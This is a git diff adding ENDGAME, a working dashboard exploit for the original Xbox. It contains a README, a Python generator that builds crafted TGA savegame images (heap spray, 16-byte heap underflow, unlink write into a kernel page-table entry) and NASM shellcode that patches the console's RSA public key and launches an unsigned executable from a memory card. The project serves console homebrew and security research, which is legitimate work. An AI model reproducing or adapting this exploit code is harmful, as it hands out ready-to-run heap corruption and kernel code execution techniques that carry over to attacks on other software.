diff --git a/.gitignore b/.gitignore index 68bc17f..2062b4b 100644 --- a/.gitignore +++ b/.gitignore @@ -158,3 +158,7 @@ cython_debug/ # and can be added to the global gitignore or merged into this file. For a more nuclear # option (not recommended) you can uncomment the following to ignore the entire idea folder. #.idea/ + +# ignore ENDGAME build files +shellcode +/ENDGAME diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..e5c97c3 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 Markus Gaasedelen + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..5cfe0e2 --- /dev/null +++ b/README.md @@ -0,0 +1,99 @@ +# ENDGAME - A Dashboard Exploit for the Original Xbox + +

+ +

+ +## Overview + +ENDGAME is a universal dashboard exploit for the original [Microsoft Xbox](https://en.wikipedia.org/wiki/Xbox_(console)). This exploit has been carefully engineered to be compatible across all retail kernel and dashboard versions released for the original Xbox. It does not require a game, or even a working DVD drive -- *only a memory card.* + +Special credit belongs to [@shutterbug2000](https://twitter.com/shutterbug20002) for the initial discovery of this vector within the dash and the first to demonstrate code execution against it. With further research, ENDGAME was developed by [@gaasedelen](https://twitter.com/gaasedelen) leveraging an adjacent vulnerability that offered greater control and facilitated a more ubiquitous exploitation strategy. + +## Disclaimer + +**This project does NOT use any copyrighted code, or help circumvent security mechanisms of an Xbox console.** Upon success, ENDGAME will launch a [habibi](http://toogam.bespin.org/xboxmod/site/signxbe.htm)-signed XBE from the root of the memory card. It does not patch kernel code or allow you to launch retail-signed executables. + +By using this software, you accept the risk of experiencing total loss or destruction of data on the console in question. + +## Building + +The exploit files can be generated from scratch using Python 3 + NASM on Windows. + +Example usage is provided below: + +```bash +python main.py +``` + +Successful output should look something like the following: + +``` +[*] Generating ENDGAME v1.0 exploit files -- by Markus Gaasedelen & shutterbug2000 +[*] Assembling shellcode... done +[*] Un-swizzling payload... done +[*] Compressing payload... done +[*] Saving helper files... done +[*] Saving trigger files... done +[+] Success, exploit files available in ENDGAME/ directory +``` + +A pre-built zip of the exploit and sample payload XBE is available on the [releases](https://github.com/XboxDev/endgame-exploit/releases) page of this repository. + +## Usage + +Copy the contents of the generated `ENDGAME/` directory to a Xbox memory card such that the root directory of the memory card has the following structure, where `payload.xbe` can be any [habibi](http://toogam.bespin.org/xboxmod/site/signxbe.htm)-signed XBE of your choosing: + +```bash +/helper/ +/trigger/ +/payload.xbe +``` + +To trigger the exploit, plug the memory card into a controller and navigate to it while in the dashboard. + +

+ +

+ +After a few seconds, the system should begin cycling the front LED to green/orange/red to indicate success. This is followed by it launching the `payload.xbe` placed on the memory card. + +# FAQ + +#### Q: Is this a softmod? + +* *A: No, by itself, ENDGAME is not a softmod. But it will make softmodding significantly more accessible as the community integrates it into existing softmod solutions.* + +#### Q: What is new about this exploit? + +* *A: This exploit will enable people to softmod any revision of the original Xbox without needing a specific game. It will also allow people to easily launch a homebrew XBE (such as the [Insignia setup assistant](https://insignia.live/connect), or content scanning tools) by simply inserting a memory card into an unmodded Xbox.* + +#### Q: I don't have a memory card, can I use something else? + +* *A: Yes, any FATX-formatted compatible USB device and controller port dongle should work.* + +#### Q: Why am I getting Error 21 after placing my own XBE on the memory card? + +* *A: Your XBE must be signed using the [habibi](http://toogam.bespin.org/xboxmod/site/signxbe.htm) key. Several tools can do this, `xbedump` being the most popular.* + +#### Q: Why does my habibi-signed XBE result in a black screen with ENDGAME but not on a modded xbox? + +* *A: The most common explanation is that your XBE may be using the Debug/XDK __kernel thunk__ & __entry point__ [XOR keys](https://xboxdevwiki.net/Xbe) rather than the retail ones, resulting in a crash.* + +#### Q: I triggered ENDGAME but my system quickly rebooted to the dash rather than my XBE... + +* *A: While this should be uncommon, it means the exploit probably crashed. It's recommended to navigate straight to the memory card on a cold boot for successful exploitation.* + +#### Q: My XBE requires multiple files and external assets to run, will it work with ENDGAME? + +* *A: No. Currently, ENDGAME is only structured to copy & execute a standalone XBE.* + +#### Q: How does this exploit work? + +* *A: The exploit targets an integer overflow in the dashboard's handling of savegame images. When the dash attempts to parse the specially crafted images on the memory card, ENDGAME obtains arbitrary code execution.* + +# Authors + +* shutterbug ([@shutterbug2000](https://twitter.com/shutterbug20002)), discovery and initial exploitation efforts +* Markus Gaasedelen ([@gaasedelen](https://twitter.com/gaasedelen)), root-cause-analysis & ENDGAME development +* xbox7887 ([@xbox7887](https://twitter.com/xbox7887)), minor contributions and assistance with testing diff --git a/main.py b/main.py new file mode 100644 index 0000000..38e0a5b --- /dev/null +++ b/main.py @@ -0,0 +1,531 @@ +import os +import sys +import ctypes +import struct +import subprocess + +try: + import sim5960 + SIM_ENABLED = True +except ImportError: + SIM_ENABLED = False + +#------------------------------------------------------------------------------ +# Util +#------------------------------------------------------------------------------ + +PAGE_SIZE = 0x1000 +PTE_REGION = 0xc0000000 + +def pte_address(address): + return PTE_REGION | (address >> 10) + +def p32(value): + return struct.pack("I", value) + +def p16(value): + return struct.pack("H", value) + +#------------------------------------------------------------------------------ +# Exploit +#------------------------------------------------------------------------------ + +BASE_PATH = os.path.join(os.path.dirname(__file__)) +NASM_PATH = os.path.join(BASE_PATH, "nasm.exe") +ENDGAME_PATH = os.path.join(BASE_PATH, "ENDGAME") + +# +# SPRAY_BASE represents the approximate memory address of where we expect our +# 8mb helper buffer to get decompressed and swizzled into memory. +# +# this buffer consists of two components of equal size that the exploit +# depends on to obtain arbitrary code execution. half is made up of 'jump +# pages' described later and the other half is shellcode pages. +# +# the *_MID variables should point approximately half way into each of the +# two regions. this allows for +/- 2mb of wiggle room based on how memory +# layout may drift a bit based on kernel, dash, or runtime discrepancies. +# +# the base address we hardcode was selected after scanning and dumping the +# exact address from the exploit running against several kernel and dash +# combinations. it should also be somewhat resilient to some amount of +# auxillary 'navigation' around the dash prior to triggering ENDGAME. +# + +SPRAY_BASE = 0xF271B000 +SPRAY_JUMP_MID = SPRAY_BASE + 0x200000 +SPRAY_PAYLOAD_MID = SPRAY_BASE + 0x600000 + +# +# these two addresses represent the pages that we hope to 'sinkhole' by way of +# PTE corruption. by manipulating their underlying PTEs, we are able to make +# these point at entirely different pages in memory. +# +# the kernel page was hand selected based on reviewing the commonality between +# retail kernels and basic runtime testing. the second PTE we corrupt is +# mostly arbitrary but must be under the code selector limit (end of kernel) +# + +TARGET_KERN_PAGE = 0x80022000 +TARGET_XBEH_PAGE = 0x11000 + +TARGET_KERN_PTE = pte_address(TARGET_KERN_PAGE) # 0xc0200088 +TARGET_XBEH_PTE = pte_address(TARGET_XBEH_PAGE) # 0xc0000044 + +def compile_shellcode(shellcode_filepath, debug=False): + """ + Compile the shellcode at the given path and return its bytes. + """ + assert shellcode_filepath.endswith(".asm") + + # Run nasm.exe and capture the output and errors + command = [NASM_PATH, shellcode_filepath] + if debug: + command.insert(1, "-dDEBUG") + + print("[*] Assembling shellcode... ", end="") + result = subprocess.run(command, capture_output=True) + + # Check the return code of the command + if result.returncode == 0: + output = result.stdout.decode() + if output.strip(): + print(output) + + # the command failed, print the error and exit the script + else: + print("[-] Failed to compile shellcode...") + print(result.stderr.decode()) + exit(1) + + print("done") + + # read the compiled shellcode from file and return it + shellcode_bin_filepath, _ = os.path.splitext(shellcode_filepath) + shellcode = open(shellcode_bin_filepath, "rb").read() + return shellcode + +def make_helper(compress, debug): + """ + Generate the ENDGAME helper files (effectively a heap spray). + """ + PTE_VALUE = SPRAY_PAYLOAD_MID & 0xFFFFF000 + PTE_VALUE |= 0x63 # (Accessed | Dirty | Valid | Writable) + + # + # the jump (page) payload should be as small as possible (byte-wise) in an + # effort to minimize the chance that naturally occurring calls into the + # kernel (within this page) land on anything but one of our NOP's + # + # ideally we want to setup a safer region of memory and get off this page + # as fast as possible. we do this by corrupting a second PTE that should + # be within the code selector limit (thus, executable) and unused + # + + jump_payload = b"" + + # corrupt XBE header PTE + jump_payload += b"\xB8" + p32(TARGET_XBEH_PTE) # mov eax, 0xc0000044 + jump_payload += b"\xC7\x00" + p32(PTE_VALUE) # mov DWORD PTR [eax], 0xf2fb7063 + + # jump to shellcode + jump_payload += b"\x68" + p32(TARGET_XBEH_PAGE) # push target + jump_payload += b"\x0F\x01\x3C\x24" # invlpg [esp] + jump_payload += b"\xC3" # ret + + # + # Construct the full jump page + payload. a specific kernel .text PTE will + # be corrupted to point at one of these precisely aligned jump pages. + # + + jump_page = b"\x90" * PAGE_SIZE + jump_page += jump_payload + + # ensure the jump payload is aligned to the end of the jump page + jump_page = jump_page[-PAGE_SIZE:] + assert len(jump_page) == PAGE_SIZE + + # + # because of the nature of heap unlink, a 4 byte value will get written + # into one of our jump pages, specifically at the memory address: + # + # PTE_VALUE = ADDR_TRAMPOLINE & 0xFFFFF000 + # PTE_VALUE |= 0x61 + # PTE_VALUE += 0x4 + # ... + # *PTE_VALUE = 0xYYYYYYYY + # + # we insert a 0x68 byte into the jump page, creating a simple but safe + # no-op 'mov eax, 0xYYYYYYYY' instruction within the page's NOP-sled for + # the off chance we land within the anomalous page + # + + jump_page = bytearray(jump_page) + jump_page[0x64] = 0xB8 + + # replicate the completed single page across a 4mb block of memory + jump_block = jump_page * 0x400 + assert len(jump_block) == 0x400000 + + # + # the shellcode page represents the phase of ENDGAME which equates to + # fully unconstrained execution. + # + # in the current exploit structure, the shellcode should be less than + # 4096 bytes. this is ample for doing cleanup / repair of the memory + # space or further bootstrapping. + # + # the following logic will compile ENDGAME's shellcode with NASM and + # return the resulting bytes. + # + + shellcode_filepath = os.path.join(BASE_PATH, "shellcode.asm") + shellcode = compile_shellcode(shellcode_filepath, debug) + + # + # prefix the compiled shellcode (which *must* be position independent) + # with NOP's to construct a full page. + # + + shellcode_page = b"\x90" * PAGE_SIZE + shellcode_page += shellcode + + # ensure the shellcode payload is aligned to the end of the page + shellcode_page = shellcode_page[-PAGE_SIZE:] + assert len(shellcode_page) == PAGE_SIZE + + # replicate the completed single page across a 4mb block of memory + shellcode_block = shellcode_page * 0x400 + assert len(shellcode_block) == 0x400000 + + # + # construct the full helper blob. this represents exactly what we hope to + # see in memory once our texture has been fully decompressed and swizzled + # + # when debugging ENDGAME or researching this exploit, you can locate this + # buffer in memory using the following WinDbg command: + # + # kd> s F0000000 L08000000 41 51 61 71 + # + + full = b"" + full += b"\x41\x51\x61\x71" # marker DWORD for debug / mem searching + full += jump_block[4:] # 4mb of jump pages + full += shellcode_block # 4mb of shellcode pages + assert len(full) == (0x800000), f"Actual len 0x{len(full):X}" + + # + # when being processed and loaded by the dashboard, our helper blob will + # get SWIZZLED (as it is technically a d3d texture)... so we have to + # preemptively UN-SWIZZLE it here. + # + # It's an 0x400 x 0x800 x 4 texture (so, 8mb). + # + + print("[*] Un-swizzling payload... ", end="") + unswiz_data = unswizzle32(full, 0x400, 0x800) + print("done") + + # + # the TGA format allows for run-length encoding of its data, so for fun + # we actually compress our un-swizzled buffer to reduce its physical size + # by over 10x (8mb --> 750kb) -- this ensures it should fit on any MU. + # + + if compress: + print("[*] Compressing payload... ", end="") + final_data = rle_compress(unswiz_data, 0x400) + print("done") + else: + final_data = unswiz_data + + # + # for the purpose of this helper buffer/texture, we don't need to do + # anything buggy. simply create a TGA of the proper dimensions, with + # simple "top to bottom" and "left to right" properties + # + + tga_data = make_tga(0x400, 0x800, 4, final_data, 0x28, compress) + + if SIM_ENABLED: + LoadTGA = sim5960.LoadTGA() + status, decomp_data, parsed = LoadTGA.run(tga_data) + print(f"[*] Valid? {status == 0}, data left over... 0x{parsed:X}") + if status: + print(f"[-] FAIL: {status:08X}") + assert False + + # + # write the exploit "helper" files to disk. note that this SaveImage must + # belong to a game title of alphabetical priority higher than the "trigger" + # files. this ensures the dash maps our helper into memory first. + # + + print("[*] Saving helper files... ", end="") + + spray_dir = os.path.join(ENDGAME_PATH, "helper", "0") + os.makedirs(spray_dir, exist_ok=True) + + with open(os.path.join(spray_dir, "..", "TitleMeta.xbx"), "wb") as f: + f.write(b"\xFF\xFE" + "TitleName=HELPER\r\n".encode("utf-16-le")) + + with open(os.path.join(spray_dir, "SaveImage.xbx"), "wb") as f: + f.write(tga_data) + + # all done + print("done") + return + +def make_trigger(): + """ + Generate the ENDGAME trigger files. + """ + PTE_VALUE = SPRAY_JUMP_MID & 0xFFFFF000 + PTE_VALUE |= 0x61 # (Accessed | Dirty | Valid) + + # + # ENDGAME abuses an integer overflow in the allocation and processing of + # TGA (image) files, enabling several powerful heap primitives. + # + # this is combined with TGA's 'bottom to top' image flag to perform a + # 16-byte heap underflow, precisely corrupting the chunk's heap metadata + # to setup a pretty traditional unlink-style write4 primitive. + # + # to make ENDGAME kernel and dash agnostic, it precisely targets the PTE + # for a kernel .text page (kudos to mborgerson for the inspiration) as a + # generic means of obtaining code execution from a single arbitrary write. + # + + payload = b"" + + # this block overwrites the heap metadata (the 16 byte underflow) + payload += p16(0x0001) # -0x10 - Size + payload += p16(0x0000) # -0x0D - Previous size + payload += b"\x00" # -0x0C - Segment index + payload += b"\x00" # -0x0B - Flags + payload += b"\x00" # -0x0A - Index + payload += b"\x00" # -0x09 - Mask + payload += p32(0x44444444) # -0x08 + payload += p32(0x45454545) # -0x04 + + # this block will be at the start of our heap allocation (a fake chunk) + payload += p16(0x1000) # -0x10 - Size + payload += p16(0x4343) # -0x0D - Previous size + payload += b"\x00" # -0x0C - Segment index + payload += b"\x00" # -0x0B - Flags + payload += b"\x00" # -0x0A - Index + payload += b"\x00" # -0x09 - Mask + payload += p32(PTE_VALUE) # -0x08 - ENDGAME write value + payload += p32(TARGET_KERN_PTE) # -0x04 - ENDGAME write address + + # + # trigger info + # + # - tga.width = 0xFFFD + # - tga.height = 0x8002 + # - tga.img_depth = 2 (bytes, or 16bits) + # - tga.img_descriptor = 8 (bottom to top, left to right) + # + # (0xFFFD * 0x8002 * 2) = 0x10000FFF4 + # + # NOTE: since we do not provide a sufficient amount of data to load a + # complete image, the dash's TGA parsing logic fails and will immediately + # free our corrupted chunk setting the full exploit into motion + # + + tga_data = make_tga(0x8002, 0xFFFD, 2, payload, 8, False) + + # + # write the exploit "trigger" files to disk. note that this SaveImage must + # belong to a game title of alphabetical priority lower than the "helper" + # files. this ensures the dash triggers the exploit at the correct time + # + + print("[*] Saving trigger files... ", end="") + + trigger_dir = os.path.join(ENDGAME_PATH, "trigger", "1") + os.makedirs(trigger_dir, exist_ok=True) + + with open(os.path.join(trigger_dir, "..", "TitleMeta.xbx"), "wb") as f: + f.write(b"\xFF\xFE" + "TitleName=TRIGGER\r\n".encode("utf-16-le")) + + with open(os.path.join(trigger_dir, "SaveImage.xbx"), "wb") as f: + f.write(tga_data) + + # all done + print("done") + return + +#------------------------------------------------------------------------------ +# DirectX (special thanks to xbox7887) +#------------------------------------------------------------------------------ + +def generate_swizzle_masks(width, height): + """ + Generate bit masks for swizzling based on the given dimensions. + """ + assert (width > 0 and (width & (width - 1)) == 0), "Width must be a power of 2" + assert (height > 0 and (height & (height - 1)) == 0), "Height must be a power of 2" + x, y = 0, 0 + bit, mask_bit = 1, 1 + done = False + while not done: + done = True + if bit < width: + x |= mask_bit + mask_bit <<= 1 + done = False + if bit < height: + y |= mask_bit + mask_bit <<= 1 + done = False + bit <<= 1 + return x, y + +def fill_swizzle_pattern(pattern, value): + """ + Apply swizzle pattern to a given value for address calculation. + """ + result = 0 + bit = 1 + while value != 0: + if pattern & bit != 0: + result |= bit if value & 1 != 0 else 0 + value >>= 1 + bit <<= 1 + return result + +def unswizzle32(data, width, height): + """ + Convert swizzled buffer to linear format for 32-bit pixels. + """ + mask_x, mask_y = generate_swizzle_masks(width, height) + dst_buf = bytearray(len(data)) + for y in range(height): + src_y_offset = fill_swizzle_pattern(mask_y, y) * 4 + dst_y_offset = width * y * 4 + for x in range(width): + src_offset = src_y_offset + fill_swizzle_pattern(mask_x, x) * 4 + dst_offset = dst_y_offset + x * 4 + dst_buf[dst_offset:dst_offset+4] = data[src_offset:src_offset+4] + return bytes(dst_buf) + +#------------------------------------------------------------------------------ +# Truevision TGA +#------------------------------------------------------------------------------ + +class TGAHeader(ctypes.Structure): + _pack_ = 1 + _fields_ = [ + ("id_len", ctypes.c_byte), + ("color_map_type", ctypes.c_byte), + ("img_type", ctypes.c_byte), + ("color_map_ofs", ctypes.c_ushort), + ("num_color_map", ctypes.c_ushort), + ("color_map_depth", ctypes.c_byte), + ("x_offset", ctypes.c_ushort), + ("y_offset", ctypes.c_ushort), + ("width", ctypes.c_ushort), + ("height", ctypes.c_ushort), + ("img_depth", ctypes.c_byte), + ("img_descriptor", ctypes.c_byte) + ] + + @property + def top_to_bottom(self): + return (self.img_descriptor & 0x20) == 0x20 + + @property + def left_to_right(self): + return (self.img_descriptor & 0x10) != 0x10 + + @property + def compressed(self): + return bool(self.img_type & 0x08) + + def __str__(self): + """ + Pretty-print the TGAHeader. + """ + lines = ["TGAHeader - "] + + for field_name, field_type in self._fields_: + value = getattr(self, field_name) + line = f"{field_name.rjust(18, ' ')}: 0x{value:02X}" + lines.append(line) + if field_name == "img_type": + lines.append(f" |--- compressed: {self.compressed}") + + if field_name == "img_descriptor": + lines.append(f" |- top_to_bottom: {self.top_to_bottom}") + lines.append(f" |- left_to_right: {self.left_to_right}") + + return "\n".join(lines) + +def make_tga(width, height, depth=4, data=b"", descriptor=8, rle=True): + """ + Initialize a TGA with the given properties and return its bytes. + """ + tga = TGAHeader() + tga.img_type = 2 + tga.img_type |= (int(rle) << 3) + + if not (0 < width < 0x10000): + raise ValueError("Invalid width") + if not (0 < height < 0x10000): + raise ValueError("Invalid height") + + tga.width = width + tga.height = height + + if not (0 < depth < 5): + raise ValueError("Invalid depth") + + tga.img_depth = (depth * 8) + tga.img_descriptor = descriptor + + return bytes(tga) + data + +def rle_compress(data, width): + """ + Run-length encode (compress) the given data for a TGA image. + """ + depth = 4 + output = bytearray() + + for row_start in range(0, len(data), width): + offset = row_start + while offset < row_start + width: + pattern = data[offset:offset+depth] + offset += depth + count = 0 + + while offset < row_start + width and data[offset:offset+depth] == pattern and count < 127: + count += 1 + offset += depth + + rle_byte = 0x80 | count if count else 0 + output.extend([rle_byte] + list(pattern)) + + return bytes(output) + +#------------------------------------------------------------------------------ +# Main +#------------------------------------------------------------------------------ + +def main(argc, argv): + """ + Script main. + """ + + # simple argument parsing / check to build a debug version of the exploit + debug = argc > 1 and argv[1] in ["-d", "--debug"] + + # generate the ENDGAME exploit files + print(f"[*] Generating ENDGAME v1.0{' (debug)' if debug else ''} exploit files -- by Markus Gaasedelen & shutterbug2000") + make_helper(True, debug) + make_trigger() + print(f"[+] Success, exploit files available in ENDGAME/ directory") + +if __name__ == "__main__": + main(len(sys.argv), sys.argv) diff --git a/nasm.exe b/nasm.exe new file mode 100644 index 0000000..0fb035f Binary files /dev/null and b/nasm.exe differ diff --git a/shellcode.asm b/shellcode.asm new file mode 100644 index 0000000..6fee315 --- /dev/null +++ b/shellcode.asm @@ -0,0 +1,334 @@ +; +; compile: nasm shellcode.asm +; +; NOTE: something to keep in mind when reading/editing this file is that we +; are executing this page out of write-combining memory. we regularly use +; sfence/wbinvd to try and flush things out and keep everything happy. +; +; otherwise, if you are not careful, there can be.. strange side effects. +; + +BITS 32 + +; +; setup EBP to point at the base of this shellcode payload. this will allow +; us to easily make relative references to shellcode labels, making this +; payload position independent. +; + +start: + call $+5 + pop ebp + sub ebp, $-1 + +; +; check if we are the first thread to enter the ENDGAME shellcode page, +; if so, take the 'lock' to prevent the possibility of another thread +; coming through should we get preempted. this isn't totally out of the +; question since we sinkholed a page of kernel .text ... +; + +check_lock: + mov eax, 0 + mov ebx, 1 + lock cmpxchg [ebp+locked], ebx + jz repair_pte +.inf: + hlt + jmp .inf ; trap any threads that could have chased us into this page + +; +; repair the kernel .text PTE we corrupted to hijack code execution. please +; note that this must reconcile with the address/values in main.py +; + +repair_pte: + mov eax, 0xc0200088 + mov dword [eax], 0x22461 + invlpg [0x80022000] + wbinv + +; +; dynamically resolve kernel exports that the shellcode will use +; + +locate_exports: + cld ; clear the direction flag so the string instructions increment the address + mov esi, 80010000h ; kernel base address + mov eax, [esi+3Ch] ; value of e_lfanew (File address of new exe header) + mov ebx, [esi+eax+78h] ; value of IMAGE_NT_HEADERS32 -> IMAGE_OPTIONAL_HEADER32 -> IMAGE_DATA_DIRECTORY -> ibo32 (Virtual Address) (0x02e0) + add ebx, esi + mov edx, [ebx+1Ch] ; value of IMAGE_DIRECTORY_ENTRY_EXPORT -> AddressOfFunctions (0x0308) + add edx, esi ; address of kernel export table + lea edi, [ebp+kexports] ; address of the local kernel export table + +.get_exports: + mov ecx, [edi] ; load the entry from the local table + jecxz .done_exports + sub ecx, [ebx+10h] ; subtract the IMAGE_DIRECTORY_ENTRY_EXPORT -> Base + mov eax, [edx+4*ecx] ; load the export by number from the kernel table + test eax, eax + jz .empty ; skip if the export is empty + add eax, esi ; add kernel base address to the export to construct a valid pointer + +.empty: + stosd ; save the value back to the local table and increment EDI by 4 + jmp .get_exports + +.done_exports: + +; +; find XAPI's CopyFile() - "55 [8D 6C 24 A0 81 EC 9C 00] ..." +; + +find_copy_file: + mov ecx, 0x30000 ; approximate memory address in the dash to start searching forward from + mov edx, 0xA0000 ; approximate memory address in the dash to stop searching + +.check_pattern: + inc ecx ; increment the search pointer + cmp ecx, edx ; compare current address with end address + jge .error ; if past the end of the search space, end the search + + mov eax, [ecx] ; move 4 bytes from the current address (dash code) into EAX + cmp eax, 0xa0246c8d ; compare with the first part of the egg (reversed due to endianness) + jnz .check_pattern ; if not equal, continue searching + + mov eax, [ecx+4] ; move the next 4 bytes from memory into EAX + cmp eax, 0x009cec81 ; compare with the second part of the egg (reversed due to endianness) + jnz .check_pattern ; if not equal, continue searching + + dec ecx ; found it! decrement ECX since the pattern is +1 into the func + lea edi, [ebp+CopyFileEx] + mov [edi], ecx + jmp .done_resolution + +.error: + jmp .error + +.done_resolution: + wbinvd + +; +; drop IRQL to PASSIVE because the thread we hijacked may have come in at a +; higher level and this can cause issues when calling kernel exports or XAPI +; + +lower_irql: + mov ecx, 0 + call dword [ebp+KfLowerIrql] + +%ifdef DEBUG + +; +; locate the of address our 'helper' allocation in memory. this is purely +; used for debug / testing of ENDGAME -- it helped provide some introspection +; on where our stuff was getting mapped on retail hardware. +; + +find_helper: + mov ebx, 0xF1000000 ; where to start searching memory + +.loop: + add ebx, 0x1000 ; increment to the next page + + push ebx + call [ebp+MmIsAddressValid] ; check if the address is safe to dereference + jz .loop + + cmp dword [ebx], 0x71615141 ; does this page start with our magic marker? + jnz .loop + +dbg_print: + +; +; sprintf(...) +; + + sub esp, 0x100 ; make a 256 byte buffer on the stack + mov ecx, esp + push ebx ; arg1 for format string + lea eax, [ebp+fmt_str] + push eax ; format string + push ecx ; buffer + sfence + call [ebp+sprintf] + add esp, 0x0C + +; +; OutputDebugString(...) +; + + push esp ; Buffer + push 0 + mov word [esp+0], ax ; Length + mov word [esp+2], 0x100 ; MaxLength + sfence + + mov ecx, esp + mov eax, 1 + int 0x2D ; debug print to superio + int3 ; do not remove (required for proper int 2Dh handling) + + add esp, 0x108 ; cleanup buffer (0x100) + debug print structure (0x8) + +%endif + +; +; loop through each memory card drive letter and attempt to copy payload.xbe +; from the MU to E:\payload.xbe. Once a copy succeeds, break from the loop. +; + +copy_file: + cmp byte [ebp+mu_path], 'N' ; have we made it through all the memory card slots? + je copy_failure + + xor eax, eax + push eax ; - dwCopyFlags + push eax ; - pbCancel + push eax ; - lpData + push eax ; - lpProgressRoutine + lea eax, [ebp+hdd_path] + push eax ; - lpNewFileName + lea eax, [ebp+mu_path] + push eax ; - lpExistingFilename + call dword [ebp+CopyFileEx] ; CopyFileEx(MU_X, HDD, NULL, NULL, NULL, NULL); + + inc byte [ebp+mu_path] ; increment drive letter to try copying from the next MU + wbinvd + + test eax, eax ; if CopyFileEx(...) did not indicate it copied a file, keep looping + jz copy_file + +copy_success: + mov ecx, 0D7h ; red-orange-green (success) + lea eax, [ebp+blink_led] + call eax + jmp make_habibi + +copy_failure: + mov ecx, 0A0h ; red blinking (failure) + call blink_led +.inf: + jmp short .inf + +; +; modify the RSA key data to make it habibi compatible +; + +make_habibi: + mov ebx, [ebp+XePublicKeyData] + or ebx, 0xF0000000 + pushf + cli ; disable interrupts + xor dword [ebx+110h], 2DD78BD6h ; alter the last 4 bytes of the public key + mov ecx, cr3 ; invalidate TLB + mov cr3, ecx + popf ; re-enable interrupts + +; +; cribbed from past softmods, roughly a re-creation of the following: +; - https://github.com/XboxDev/OpenXDK/blob/master/src/hal/xbox.c#L36 +; + +launch_xbe: + mov esi, [ebp+LaunchDataPage] ; https://xboxdevwiki.net/Kernel/LaunchDataPage + mov ebx, [esi] + mov edi, 1000h + test ebx, ebx ; check the LaunchDataPage pointer + jnz .mem_ok ; jump if it's not NULL + push edi + call dword [ebp+MmAllocateContiguousMemory] ; otherwise, allocate a memory page + mov ebx, eax ; and store the pointer to the allocated page in EBX + mov [esi], eax ; store the pointer back to the kernel as well + +.mem_ok: + push byte 1 + push edi + push ebx + call dword [ebp+MmPersistContiguousMemory] + + mov edi,ebx + xor eax,eax + mov ecx,400h + rep stosd ; fill the whole LaunchDataPage memory page (4096 Bytes) with zeros + + or dword [ebx], byte -1 ; set LaunchDataPage.launch_data_type to 0xFFFFFFFF + mov [ebx+4], eax ; set LaunchDataPage.title_id to 0 + lea edi, [ebx+8] ; copy the address of LaunchDataPage.launch_path string + lea esi, [ebp+xbe_str] + push byte xbe_strlen + pop ecx + rep movsb ; copy the executable path to the LaunchDataPage.launch_path + push byte 2 ; 2 stands for ReturnFirmwareQuickReboot + sfence + wbinvd ; flush the CPU caches to ensure all our writes are in main memory + call dword [ebp+HalReturnToFirmware] + +.inf: + jmp short .inf + +; +; blink LED to demonstrate code execution +; + +blink_led: + push ecx + push byte 0 + push byte 8 + push byte 20h + call [ebp+HalWriteSMBusValue] ; set LED pattern + + push byte 1 + push byte 0 + push byte 7 + push byte 20h + call [ebp+HalWriteSMBusValue] ; enable LED override + + ret + +; +; '.data' section for our shellcode +; + +kexports: +HalReturnToFirmware dd 49 +HalWriteSMBusValue dd 50 +KfLowerIrql dd 161 +LaunchDataPage dd 164 +MmAllocateContiguousMemory dd 165 +MmPersistContiguousMemory dd 178 +XePublicKeyData dd 355 + +; ENDGAME debug helpers +%ifdef DEBUG +MmIsAddressValid dd 174 +sprintf dd 362 +%endif + +; end of local export table + dd 0 + +xapi: +CopyFileEx dd 0 + +strings: +mu_path db 'F:\payload.xbe', 0 ; first memory card slot +hdd_path db 'C:\payload.xbe', 0 ; E drive (as aliased in dash) +xbe_str db '\Device\Harddisk0\Partition1\payload.xbe', 0 +xbe_strlen equ $-xbe_str + +%ifdef DEBUG +fmt_str db 'Spray base 0x%08X', 0x0a, 0x0d, 0 +%endif + +misc: +locked dd 0 +version dd 0x00010000 ; [-unused-].[major].[minor].[patch] + +; +; no purpose but to serve as a static marker for the end of our shellcode +; + +end: + dd 0xCCCCCCCC \ No newline at end of file